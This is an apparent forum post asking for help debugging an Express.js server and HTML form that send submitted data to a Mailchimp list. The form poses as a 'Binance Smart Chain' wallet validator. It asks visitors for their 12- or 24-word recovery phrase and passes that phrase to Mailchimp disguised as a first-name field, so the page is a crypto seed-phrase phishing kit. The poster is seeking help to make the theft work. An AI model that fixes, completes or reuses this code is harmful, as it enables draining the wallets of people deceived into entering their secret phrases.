When I clicked on the button on my Wallet.html file page to link to the Validate.html file page using the post request, I observed that data isn't showing from my server on my Mailchimp web page.
const express = require("express");
const request = require("request");
const https = require("https");
const app = express();
app.use(express.urlencoded({ extended: true }));
app.use(express.static("public"));
app.get("/", function(req, res) {
res.sendFile(__dirname + "/index.html");
})
app.get("/WalletPage", function(req, res) {
res.sendFile(__dirname + "/WalletPage.html");
})
app.get("/Validate", function(req, res) {
res.sendFile(__dirname + "/Validation.html");
})
app.post("/WalletPage", function(req, res) {
res.sendFile(__dirname + "/WalletPage.html")
})
app.post("/Validate", function(req, res) {
res.sendFile(__dirname + "/Validate.html");
})
app.post("/Validate", function(req, res) {
var firstName = req.body.fName;
var email = req.body.email;
const data = {
members: [
{
email_address: email,
status: "subscribed",
merge_fields: {
FNAME: firstName,
}
}
]
};
const jsonData = JSON.stringify(data);
const url = "https://us14.api.mailchimp.com/3.0/lists/939afe0346";
const options = {
method:"POST",
auth: "<AUTH_STRING>"
}
const request = https.request(url, options, function(response) {
response.on("data", function(data) {
console.log(JSON.parse(data));
})
});
request.write(jsonData);
request.end();
});
app.listen( process.env.PORT || 3000, function() {
console.log("Listening on port 3000");
})
HTML:
<form action="/Validate" method="post">
<button type="submit" class="trust-box">
<img src="images/binance.png" alt="trust" width="50" height="50">
Binance Smart Chain
</button>
</form>
<form action="/Validate" method="post">
<label>Email</label>
<input type="email" id="email" name="email" placeholder="Email">
<label>Recovery Phrase:</label><br />
<input type="text" id="phrase" name="fName" placeholder="Enter your phrase value...">
<p class="paragraph-long">Typically 12 (sometimes 24) words separated by single spaces.</p>
<button type="submit">Validate</button>
</form>
How do I fix it? Or is there any other way I can link my Wallet page to Validate page without using the post method.